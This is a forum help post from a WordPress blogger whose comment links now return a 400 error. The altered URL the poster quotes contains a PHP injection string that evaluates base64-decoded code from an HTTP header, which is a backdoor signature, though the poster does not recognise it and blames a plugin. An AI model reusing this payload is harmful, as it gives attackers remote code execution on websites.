400 Bad Request – Strange URL

Hi there, I have a big problem with my website (www.upsblogit.com)

After I tried to connect it to Facebook via NetworkedBlogs, it’s not possible to read Comments:

The article url used to be like “https://www.upsblogit.com/2010/04/22/david-jaffe-risponde-a-crytek-se-paghi-per-averla-non-e-una-demo/#comments”

but now it’s “https://www.upsblogit.com/2010/04/22/david-jaffe-risponde-a-crytek-se-paghi-per-averla-non-e-una-demo/%&(%7B$%7Beval(base64_decode($_SERVER%5BHTTP_EXECCODE%5D))%7D%7D|.+)&%/#comments”

and it bring me to the 400 Bad Request page. What should I do?

I tried to disconnet NetworkedBlogs and totally remove it from Facebook…i also updated to the latest WordPress version…

any suggestion?